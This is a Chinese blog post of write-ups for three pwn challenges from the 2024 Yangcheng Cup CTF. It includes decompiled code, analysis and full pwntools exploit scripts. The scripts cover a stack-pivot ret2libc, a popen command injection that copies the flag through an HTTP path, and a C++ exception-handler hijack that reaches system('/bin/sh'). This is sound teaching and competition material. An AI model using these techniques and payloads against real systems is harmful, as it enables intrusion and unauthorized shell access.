4169 words
21 minutes
Write-ups: 2024「羊城杯」粤港澳大湾区网络安全大赛
2025-09-22
2025-09-23

先挑几个简单的复现一下,因为堆都没怎么学过,就先不复现了,等以后学明白了再去研究。

pstack#

Information#

  • Category: Pwn
  • Points: Unknown

Description#

Unknown

Write-up#

看上去就是签到题,0x10 字节栈溢出,而且给了 rdi gadget,那还不简单?

回想起我最近打的比赛,签到也基本都是栈迁移,可是没一个是有 rdi gadget 的……

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
ROP,
args,
context,
flat,
process,
raw_input,
remote,
u64,
)
FILE = "./pwn_patched"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = ELF("./libc.so.6")
rop = ROP(elf)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
read = 0x4006C4
payload = flat(
b"A" * 0x30,
elf.bss() + 0x500,
read,
rop.rdi.address,
elf.got["puts"],
elf.plt["puts"],
elf.sym["vuln"],
b"B" * 0x10,
0x6014D8,
rop.leave.address,
)
# raw_input("DEBUG")
target.send(payload)
target.recvuntil(b"overflow?\x0a")
puts = u64(target.recvline().strip().ljust(0x8, b"\x00"))
libc.address = puts - libc.sym["puts"]
target.success(hex(libc.address))
payload = flat(
b"C" * 0x30,
elf.bss() + 0xF00,
read,
rop.rdi.address,
next(libc.search(b"/bin/sh\x00")),
libc.sym["system"],
b"D" * 0x18,
0x601ED8,
rop.leave.address,
)
target.send(payload)
target.interactive()
if __name__ == "__main__":
main()

httpd#

Information#

  • Category: Pwn
  • Points: Unknown

Description#

Unknown

Write-up#

粗略逆向分析了一下,直接全贴上来好了,反正基本就一个 main 函数:

// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int fd_1; // eax
int fd_2; // eax
int result; // eax
int fd2; // eax
int fd2_1; // eax
struct tm *tp; // eax
time_t tv_sec; // edi
__off_t st_size; // esi
const char *text_html; // eax
struct dirent **namelist; // [esp+8h] [ebp-14134h] BYREF
char s1_2[4]; // [esp+Ch] [ebp-14130h] BYREF
char p_n47_1[4]; // [esp+10h] [ebp-1412Ch] BYREF
char s1_3[4]; // [esp+14h] [ebp-14128h] BYREF
int v16; // [esp+18h] [ebp-14124h] BYREF
char v17; // [esp+1Ch] [ebp-14120h] BYREF
char *haystack; // [esp+20h] [ebp-1411Ch]
int i; // [esp+24h] [ebp-14118h]
size_t v20; // [esp+28h] [ebp-14114h]
char *v21; // [esp+2Ch] [ebp-14110h]
char *v22; // [esp+30h] [ebp-1410Ch]
int fd; // [esp+34h] [ebp-14108h]
int fd_3; // [esp+38h] [ebp-14104h]
FILE *stream; // [esp+3Ch] [ebp-14100h]
int i_1; // [esp+40h] [ebp-140FCh]
FILE *stream_1; // [esp+44h] [ebp-140F8h]
int c; // [esp+48h] [ebp-140F4h]
struct stat buf; // [esp+4Ch] [ebp-140F0h] BYREF
char modes[2]; // [esp+A6h] [ebp-14096h] BYREF
char s_3[16]; // [esp+A8h] [ebp-14094h] BYREF
char s_2[116]; // [esp+B8h] [ebp-14084h] BYREF
char v33[1908]; // [esp+12Ch] [ebp-14010h] BYREF
char request[10000]; // [esp+8A0h] [ebp-1389Ch] BYREF
char method[10000]; // [esp+2FB0h] [ebp-1118Ch] BYREF
char path[10000]; // [esp+56C0h] [ebp-EA7Ch] BYREF
char version[10000]; // [esp+7DD0h] [ebp-C36Ch] BYREF
char file[20000]; // [esp+A4E0h] [ebp-9C5Ch] BYREF
char s_1[15588]; // [esp+F300h] [ebp-4E3Ch] BYREF
__int64 v40; // [esp+12FE4h] [ebp-1158h]
char *v41; // [esp+12FECh] [ebp-1150h]
int v42; // [esp+1312Ch] [ebp-1010h] BYREF
unsigned int v43; // [esp+14120h] [ebp-1Ch]
int *p_argc; // [esp+1412Ch] [ebp-10h]
p_argc = &argc;
while ( &v42 != (int *)v33 )
;
v43 = __readgsdword(0x14u);
memset(&v33[884], 0, 1024);
v20 = 0;
strcpy(modes, "r");
if ( chdir("/home/ctf/html") < 0 )
response((status *)&elf_gnu_hash_bitmask_nwords, (int)"Internal Error", 0, "Config error - couldn't chdir().");
if ( !fgets(request, 10000, stdin) )
response(&status_, (int)"Bad Request", 0, "No request found.");
if ( __isoc99_sscanf(request, "%[^ ] %[^ ] %[^ ]", method, path, version) != 3 )
response(&status_, (int)"Bad Request", 0, "Can't parse request.");
if ( !fgets(request, 10000, stdin) )
response(&status_, (int)"Bad Request", 0, "Missing Host.");
v21 = strstr(request, "Host: ");
if ( !v21 )
response(&status_, (int)"Bad Request", 0, "Missing Host.");
v22 = strstr(v21 + 6, "\r\n");
if ( v22 )
{
*v22 = 0;
}
else
{
v22 = strchr(v21 + 6, (int)"\n");
if ( v22 )
*v22 = 0;
}
if ( strlen(v21 + 6) <= 7 )
response(&status_, (int)"Bad Request", 0, "Host len error.");
if ( v21 == (char *)-6 || !v21[6] )
response(&status_, (int)"Bad Request", 0, "Host fmt error.");
v41 = &v17;
HIDWORD(v40) = &v16;
__isoc99_sscanf(v21 + 6, "%d.%d.%d.%d%c", s1_2, p_n47_1, s1_3);
if ( !fgets(request, 10000, stdin) )
response(&status_, (int)"Bad Request", 0, "Missing Content-Length.");
v21 = strstr(request, "Content-Length: ");
if ( !v21 )
response(&status_, (int)"Bad Request", 0, "Missing Content-Length.");
v22 = strstr(v21 + 16, "\r\n");
if ( v22 )
{
*v22 = 0;
}
else
{
v22 = strchr(v21 + 16, (int)"\n");
if ( v22 )
*v22 = 0;
}
if ( strlen(v21 + 16) > 5 )
response(&status_, (int)"Bad Request", 0, "Content-Length len too long.");
if ( strcasecmp(method, "get") )
response(
(status *)((char *)&elf_gnu_hash_bitmask_nwords + 1),
(int)"Not Implemented",
0,
"That method is not implemented.");
if ( strncmp(version, "HTTP/1.0", 8u) )
response(&status_, (int)"Bad Request", 0, "Bad protocol.");
if ( path[0] != '/' )
response(&status_, (int)"Bad Request", 0, "Bad filename.");
haystack = &path[1];
sub_25DE(&path[1], &path[1]);
if ( !*haystack )
haystack = "./";
v20 = strlen(haystack);
if ( *haystack == '/'
|| !strcmp(haystack, "..")
|| !strncmp(haystack, "../", 3u)
|| strstr(haystack, "/../")
|| !strcmp(&haystack[v20 - 3], "/..") )
{
response(&status_, (int)"Bad Request", 0, "Illegal filename.");
}
if ( !check(haystack) )
response((status *)&status_.state, (int)"Not Found", 0, "Invalid file name.");
fd_1 = fileno(stdout);
fd = dup(fd_1);
fd_2 = fileno(stderr);
fd_3 = dup(fd_2);
freopen("/dev/null", "w", stdout);
freopen("/dev/null", "w", stderr);
stream = popen(haystack, modes);
if ( stream )
{
pclose(stream);
fd2 = fileno(stdout);
dup2(fd, fd2);
fd2_1 = fileno(stderr);
dup2(fd_3, fd2_1);
close(fd);
close(fd_3);
if ( stat(haystack, &buf) < 0 )
response((status *)&status_.state, (int)"Not Found", 0, "File not found.");
if ( (buf.st_mode & 0xF000) == 0x4000 )
{
if ( haystack[v20 - 1] != '/' )
{
snprintf(s_1, 0x4E20u, "Location: %s/", path);
response((status *)((char *)&dword_12C + 2), (int)"Found", (int)s_1, "Directories must end with a slash.");
}
snprintf(file, 0x4E20u, "%sindex.html", haystack);
if ( stat(file, &buf) < 0 )
{
sub_23D9(&status__0, "Ok", 0, (int)"text/html", -1, buf.st_mtim.tv_sec);
i_1 = scandir(haystack, &namelist, 0, (int (*)(const void *, const void *))&alphasort);
if ( i_1 >= 0 )
{
for ( i = 0; i < i_1; ++i )
{
sub_2704(s_2, 0x3E8u, (unsigned __int8 *)namelist[i]->d_name);
snprintf(file, 0x4E20u, "%s/%s", haystack, namelist[i]->d_name);
if ( lstat(file, &buf) >= 0 )
{
tp = localtime(&buf.st_mtim.tv_sec);
strftime(s_3, 0x10u, "%d%b%Y %H:%M", tp);
printf("<a href=\"%s\">%-32.32s</a>%15s %14lld\n", s_2, namelist[i]->d_name, s_3, (__int64)buf.st_size);
sub_20C6(file);
}
else
{
printf("<a href=\"%s\">%-32.32s</a> ???\n", s_2, namelist[i]->d_name);
}
printf(
"</pre>\n<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n",
"https://2024ycb.dasctf.com/",
"YCB2024");
}
}
else
{
perror("scandir");
}
goto LABEL_74;
}
haystack = file;
}
stream_1 = fopen(haystack, "r");
if ( !stream_1 )
response((status *)((char *)&status_.mon_name + 3), (int)"Forbidden", 0, "File is protected.");
tv_sec = buf.st_mtim.tv_sec;
st_size = buf.st_size;
text_html = sub_2566(haystack);
sub_23D9(&status__0, "Ok", 0, (int)text_html, st_size, tv_sec);
while ( 1 )
{
c = getc(stream_1);
if ( c == -1 )
break;
putchar(c);
}
LABEL_74:
fflush(stdout);
exit(0);
}
result = -1;
if ( v43 != __readgsdword(0x14u) )
sub_2A70();
return result;
}

首先它得确保运行在 /home/ctf/html,所以我们先要创建这个目录,并且取保自己有访问权限。之后程序读取请求,通过 __isoc99_sscanf(request, "%[^ ] %[^ ] %[^ ]", method, path, version) != 3 将我们的请求以空格分成了 <method> <path> <version> 三部分,缺一不可。然后读取请求主机,必须是 Host: 开头,后面的 IP 也有指定格式,不符合的话就会 abort 。然后读取 Content-Length,也是类似的逻辑,没啥好说的。吐槽一下这个实现真的是非常地 tiny 啊,Content-Length 居然是通过字符串长度来判断的,而非大小。

之后会判断请求类型,我们发现它只实现了 GET 类型,协议版本只有 HTTP/1.0,路径必须以 / 开始。

然后是有几个路径检测,过滤掉了一些非法访问,并且做了一个简单的字符检测,过滤掉了一些非法字符:

_BOOL4 __cdecl check(char *haystack)
{
_BOOL4 result; // eax
char needle[3]; // [esp+15h] [ebp-13h] BYREF
char bin[4]; // [esp+18h] [ebp-10h] BYREF
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
strcpy(needle, "sh");
strcpy(bin, "bin");
if ( strchr(haystack, '&') )
{
result = 0;
}
else if ( strchr(haystack, '|') )
{
result = 0;
}
else if ( strchr(haystack, ';') )
{
result = 0;
}
else if ( strchr(haystack, '$') )
{
result = 0;
}
else if ( strchr(haystack, '{') )
{
result = 0;
}
else if ( strchr(haystack, '}') )
{
result = 0;
}
else if ( strchr(haystack, '`') )
{
result = 0;
}
else if ( strstr(haystack, needle) )
{
result = 0;
}
else
{
result = strstr(haystack, bin) == 0;
}
if ( v4 != __readgsdword(0x14u) )
sub_2A70();
return result;
}

如果这些检测都没问题,就把 stdout 和 stderr 重定向到了 /dev/null,相当于关闭了这两个输出。虽然不理解为什么要这么做,但是结合后面的代码,思考了一下感觉可能是为了隐藏 popen 的输出?总之做完后的评价就是:迷惑行为。

然后是利用点,我们看到 stream = popen(haystack, modes),简单来说就是 popen 会将 haystack 作为 shell 指令,创建一个子进程去执行它。那不就是任意代码执行吗?不过 check 函数已经过滤了 /bin/sh,我们不能直接返回 shell,只能用规则内的字符去构造指令。

继续往下看,整个 if ( stream ) 里面的代码除了恢复了 stdout 和 stderr 外,基本上都没啥用。无非就是判断文件是否存在,逐一列出目录下的文件之类的……属于是一大坨障眼法。虽然现在说的轻松,但是实际上做题的时候可没这么想,做的时候老仔细了,所以也老容易掉到坑里哈哈哈。问题不大,如何快速定位漏洞,快速逆向分析一个程序的经验不就是这样慢慢积累起来的吗?做完题总会有不少感触,而这些感触慢慢地就会变成你的实力。

有一个很重要的点是,在 popen 之前,haystack = &path[1],跳过了第一个字符 /,直接从第二个字符开始,所以我们完全不用担心指令以 / 开头导致什么都做不了。

没完呢,继续往下看,我们发现,如果进入了 stat(haystack, &buf) < 0 的话,那后面的 (buf.st_mode & 0xF000) == 0x4000 肯定就进不去了,直接跳到末尾,执行 stream_1 = fopen(haystack, "r"),输出打开的文件的信息,并且进入 while 循环逐字节输出文件内容。

至此,整个程序的逻辑就已经摸的差不多了。因为我们可以直接读取文件内容,那为何不直接将 flag 复制到当前目录下,然后再发送读取的请求,让它输出 flag 呢?

唯一值得注意的是,我们使用 cp 指令将 flag 复制过来,指令之中必定会包含空格。由于这个程序是按标准的 HTTP 协议实现的 tiny server,我们直接查一下空格在 URL 中的转义字符,知道是 %20,如果是实现了自定义协议,那我们就得深入逆向它的子函数了……想想都觉得麻烦……

Exploit#

#!/usr/bin/env python3
from pwn import (
args,
context,
flat,
process,
remote,
)
FILE = "./httpd"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
payload = flat(
b"GET /cp%20/flag%20. HTTP/1.0\n",
b"Host: 127.0.0.1\n",
b"Content-Length: 0\n",
)
target.send(payload)
target.recvall()
target.close()
launch()
payload = flat(
b"GET /flag HTTP/1.0\n",
b"Host: 127.0.0.1\n",
b"Content-Length: 0\n",
)
target.send(payload)
target.interactive()
if __name__ == "__main__":
main()

logger#

Information#

  • Category: Pwn
  • Points: Unknown

Description#

Unknown

Write-up#

先看下面的 trace 功能:

unsigned __int64 trace()
{
int i; // [rsp+Ch] [rbp-24h]
int j; // [rsp+Ch] [rbp-24h]
int n8; // [rsp+10h] [rbp-20h]
__int16 choice; // [rsp+26h] [rbp-Ah] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
printf("\nYou can record log details here: ");
fflush(stdout);
for ( i = 0; i <= 8 && byte_404020[16 * i]; ++i )
;
if ( i <= 8 )
{
byte_404020[16 * i + read(0, &byte_404020[16 * i], 0x10u)] = 0;
printf("Do you need to check the records? ");
fflush(stdout);
choice = 0;
__isoc99_scanf("%1s", &choice);
if ( (_BYTE)choice == 'y' || (_BYTE)choice == 'Y' )
{
n8 = 8;
for ( j = 0; j <= 8 && byte_404020[16 * j] && n8; ++j )
{
printf("\x1B[31mRecord%d. %.16s\x1B[0m", j + 1, &byte_404020[16 * j]);
--n8;
}
}
else if ( (_BYTE)choice != 'n' && (_BYTE)choice != 'N' )
{
puts("Invalid input. Please enter 'y' or 'n'.");
exit(0);
}
}
else
{
puts("Records have been filled :(");
}
return v5 - __readfsqword(0x28u);
}

12 行的 for 循环用来计算索引,按 16 字节访问 byte_404020,只要 i <= 8 && byte_404020[16 * i] 就增加 i 的值。感觉 i <= 8 有点奇怪,不管如何,先计算一下这个函数可以返回多大的索引呢?应该是 9。

.data:0000000000404020 ; char byte_404020[128]
.data:0000000000404020 byte_404020 db 0, 0Ah, 7Eh dup(0) ; DATA XREF: trace+58↑o
.data:0000000000404020 ; trace+9F↑o ...
.data:00000000004040A0 ; char src[]
.data:00000000004040A0 src db 'Buffer Overflow',0 ; DATA XREF: warn+F0↑o
.data:00000000004040A0 ; warn+165↑o

可是查看 byte_404020 发现,人家按 16 字节访问的话最多只能访问 8 个元素,那我们访问第九个元素就会得到 src 的内容。存在一个 OOB。

如果 i <= 8 的话,进入 if,紧接着 byte_404020[16 * i + read(0, &byte_404020[16 * i], 0x10u)] = 0 以前面得到的索引乘以十六加上基地址,定位到下一项,加上 read 读取到的字节数,并将那个位置的值置零,相当于就是手动设置 NULL 的一体版本。与此同时,read 写入的是下一项。

我们可以先研究研究怎么控制 src 的内容。已知前八项应该是可以合法写入的,那我们先写 8 项,然后如何写入第九项呢?虽然我是调试出来的,但是也可以直接分析代码。由于计算索引使用的条件是 i <= 8 && byte_404020[16 * i],然后才会增加索引值。注意到后半部分,判断 byte_404020[16 * i] 处的单个字节是否不为 0,如果这个字节为 0 的话,这个判断就会失败,索引值不会被增加。

如果第八项数据我们写满 16 字节,那它就会把第九项数据处的第一个字节设置为 NULL,那么此时我们再次使用 trace 输入第九项数据,它会先依次遍历每一个已写入的元素,得到索引 7,然后发现 byte_404020[16 * i] 为 0,故将索引加一变成 8。此时我们就控制了第九项的值。

天,为啥写个 OOB 分析写那么详细……好像很多佬的博客都写的很简略的……我可真是大好人啊(bushi

嗯……那么第一部分分析就到此结束了。然后看 warn 功能:

unsigned __int64 warn()
{
unsigned __int64 len; // rax
_QWORD *exception; // rax
__int64 v3; // [rsp+8h] [rbp-78h]
char buf[16]; // [rsp+10h] [rbp-70h] BYREF
char date[8]; // [rsp+20h] [rbp-60h] BYREF
__int64 v6; // [rsp+28h] [rbp-58h]
__int64 v7; // [rsp+30h] [rbp-50h]
__int64 v8; // [rsp+38h] [rbp-48h]
char date_1[8]; // [rsp+40h] [rbp-40h] BYREF
__int64 v10; // [rsp+48h] [rbp-38h]
__int64 v11; // [rsp+50h] [rbp-30h]
__int64 v12; // [rsp+58h] [rbp-28h]
unsigned __int64 v13; // [rsp+68h] [rbp-18h]
v13 = __readfsqword(0x28u);
memset_w(buf);
*(_QWORD *)date = 0;
v6 = 0;
v7 = 0;
v8 = 0;
set_time(date, 0x20u);
printf("\n\x1B[1;31m%s\x1B[0m\n", date);
printf("[!] Type your message here plz: ");
fflush(stdout);
len = read(0, buf, 256u); // buffer overflow
HIBYTE(v3) = HIBYTE(len);
buf[len - 1] = 0;
if ( len > 0x10 )
{
memcpy(dest_0, buf, sizeof(dest_0));
strcpy(dest, src); // "Buffer Overflow"
strcpy(&dest[strlen(dest)], ": ");
strncat(dest, dest_0, 0x100u);
puts(dest);
exception = __cxa_allocate_exception(8u);
*exception = src; // "Buffer Overflow"
__cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0);
}
memcpy(dest_1, buf, sizeof(dest_1));
*(_QWORD *)date_1 = 0;
v10 = 0;
v11 = 0;
v12 = 0;
set_time(date_1, 0x20u);
printf("[User input log]\nMessage: %s\nDone at %s\n", dest_1, date_1);
sub_401CCA(buf);
return v13 - __readfsqword(0x28u);
}

注意到这里将读取 256 字节数据,然后根据 read 的返回值是否大于 16 判断是否发生了溢出。忽略中间代码,直接看异常处理部分。根据前面的分析,我们知道 src 保存的就是第九项的数据,而这一项我们已经可以控制为任意值。如果 warn 检测到 BOF,就会 throw src,类型为 char const*。但是我们注意到 IDA 对 try catch 的反编译支持好像有些问题,我们看不到 try,可看不到 catch,只能看到它抛出异常。因此这里我们需要切换到汇编视图去查看 catch 的逻辑。

其实发现反汇编试图是可以看见 try catch 的,由于程序有好几处 try catch 逻辑,下面我只贴出需要重点关注的地方:

虽然感觉 IDA 的 graph view 很帅,但还是让我们看 text view 吧(

.text:0000000000401B8F ; =============== S U B R O U T I N E =======================================
.text:0000000000401B8F
.text:0000000000401B8F ; Attributes: bp-based frame
.text:0000000000401B8F
.text:0000000000401B8F ; void __noreturn sub_401B8F()
.text:0000000000401B8F sub_401B8F proc near
.text:0000000000401B8F
.text:0000000000401B8F command = qword ptr -18h
.text:0000000000401B8F var_8 = qword ptr -8
.text:0000000000401B8F
.text:0000000000401B8F ; __unwind { // __gxx_personality_v0
.text:0000000000401B8F 000 endbr64
.text:0000000000401B93 000 push rbp
.text:0000000000401B94 008 mov rbp, rsp
.text:0000000000401B97 008 push rbx
.text:0000000000401B98 010 sub rsp, 18h
.text:0000000000401B9C 028 mov edi, 8 ; thrown_size
.text:0000000000401BA1 028 call ___cxa_allocate_exception
.text:0000000000401BA6 028 lea rdx, aEchoHelloYcbCt ; "echo Hello, YCB ctfer!"
.text:0000000000401BAD 028 mov [rax], rdx
.text:0000000000401BB0 028 mov edx, 0 ; void (*)(void *)
.text:0000000000401BB5 028 mov rcx, cs:_ZTIPKc_ptr
.text:0000000000401BBC 028 mov rsi, rcx ; lptinfo
.text:0000000000401BBF 028 mov rdi, rax ; exception
.text:0000000000401BC2 ; try {
.text:0000000000401BC2 028 call ___cxa_throw
.text:0000000000401BC2 ; } // starts at 401BC2
.text:0000000000401BC7 ; ---------------------------------------------------------------------------
.text:0000000000401BC7 ; catch(char const*) // owned by 401BC2
.text:0000000000401BC7 028 endbr64
.text:0000000000401BCB 028 cmp rdx, 1
.text:0000000000401BCF 028 jz short loc_401BD9
.text:0000000000401BD1 028 mov rdi, rax ; struct _Unwind_Exception *
.text:0000000000401BD4 028 call __Unwind_Resume
.text:0000000000401BD9 ; ---------------------------------------------------------------------------
.text:0000000000401BD9
.text:0000000000401BD9 loc_401BD9: ; CODE XREF: sub_401B8F+40↑j
.text:0000000000401BD9 028 mov rdi, rax ; void *
.text:0000000000401BDC 028 call ___cxa_begin_catch
.text:0000000000401BE1 028 mov [rbp+command], rax
.text:0000000000401BE5 028 mov rax, [rbp+command]
.text:0000000000401BE9 028 mov rsi, rax
.text:0000000000401BEC 028 lea rax, aAnExceptionOfT_1 ; "[-] An exception of type String was cau"...
.text:0000000000401BF3 028 mov rdi, rax ; format
.text:0000000000401BF6 028 mov eax, 0
.text:0000000000401BFB ; try {
.text:0000000000401BFB 028 call _printf
.text:0000000000401C00 028 mov rax, [rbp+command]
.text:0000000000401C04 028 mov rdi, rax ; command
.text:0000000000401C07 028 call _system
.text:0000000000401C07 ; } // starts at 401BFB
.text:0000000000401C0C 028 nop
.text:0000000000401C0D 028 call ___cxa_end_catch
.text:0000000000401C12 028 jmp short loc_401C2B
.text:0000000000401C14 ; ---------------------------------------------------------------------------
.text:0000000000401C14 ; cleanup() // owned by 401BFB
.text:0000000000401C14 000 endbr64
.text:0000000000401C18 000 mov rbx, rax
.text:0000000000401C1B 000 call ___cxa_end_catch
.text:0000000000401C20 000 mov rax, rbx
.text:0000000000401C23 000 mov rdi, rax ; struct _Unwind_Exception *
.text:0000000000401C26 000 call __Unwind_Resume
.text:0000000000401C2B ; ---------------------------------------------------------------------------
.text:0000000000401C2B
.text:0000000000401C2B loc_401C2B: ; CODE XREF: sub_401B8F+83↑j
.text:0000000000401C2B 028 mov rbx, [rbp+var_8]
.text:0000000000401C2F 028 leave
.text:0000000000401C30 000 retn
.text:0000000000401C30 ; } // starts at 401B8F
.text:0000000000401C30 sub_401B8F endp

我们注意到上面这个 sub_401B8F 函数的 catch 逻辑中有隐藏后门,它将 rbp+command 处的值作为 rdi,调用 system。如果我们控制这个值为 /bin/sh 的话,我们就可以 get shell。于此同时,最重要的是,这个后门 catch handler 是属于 catch(char const*) 的,和我们抛出的 src 类型一样,所以如果我们返回到这个 handler,是可以执行的。

经过调试发现,这个 rbp+command 其实就是第九项的内容,那么我们只要将第九项修改为 /bin/sh,然后返回到含有后门的 catch handler 起始地址即可。由于没开 PIE,所以可以直接通过 IDA 确定地址。为了方便查看,catch handler 的地址我在上面用绿色标记了,免得大家不知道 exp 中的魔数是哪里来的。

最后,这是我第一次学习 C 艹 异常处理 pwn,写的也不是很详细。后续我会单独写一篇,也可能是几篇博客从头再梳理一下这方面的利用思路。这几天就会开工,到时候加入到 Beyond Basics: The Dark Arts of Binary Exploitation 里,从此我收录的技巧也开始变得高级起来~

Exploit#

#!/usr/bin/env python3
from pwn import (
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "./patched"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def trace(log_details, check):
target.sendlineafter(b"Your chocie:", b"1")
target.sendlineafter(b"You can record log details here: ", log_details)
target.sendlineafter(b"Do you need to check the records? ", check)
def warn(msg):
target.sendlineafter(b"Your chocie:", b"2")
target.sendlineafter(b"[!] Type your message here plz: ", msg)
def exit():
target.sendlineafter(b"Your chocie:", b"3")
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
trace(b"A" * 0x8, b"y")
trace(b"A" * 0x8, b"y")
trace(b"A" * 0x8, b"y")
trace(b"A" * 0x8, b"y")
trace(b"A" * 0x8, b"y")
trace(b"A" * 0x8, b"y")
trace(b"A" * 0x8, b"y")
raw_input("DEBUG")
trace(b"A" * 0x10, b"y")
trace(b"/bin/sh\x00", b"y")
payload = flat(
b"A" * 0x70,
elf.bss(),
0x401BC7,
)
warn(payload)
target.interactive()
if __name__ == "__main__":
main()
Write-ups: 2024「羊城杯」粤港澳大湾区网络安全大赛
https://cubeyond.net/posts/write-ups/2024-羊城杯/
Author
CuB3y0nd
Published at
2025-09-22
License
CC BY-NC-SA 4.0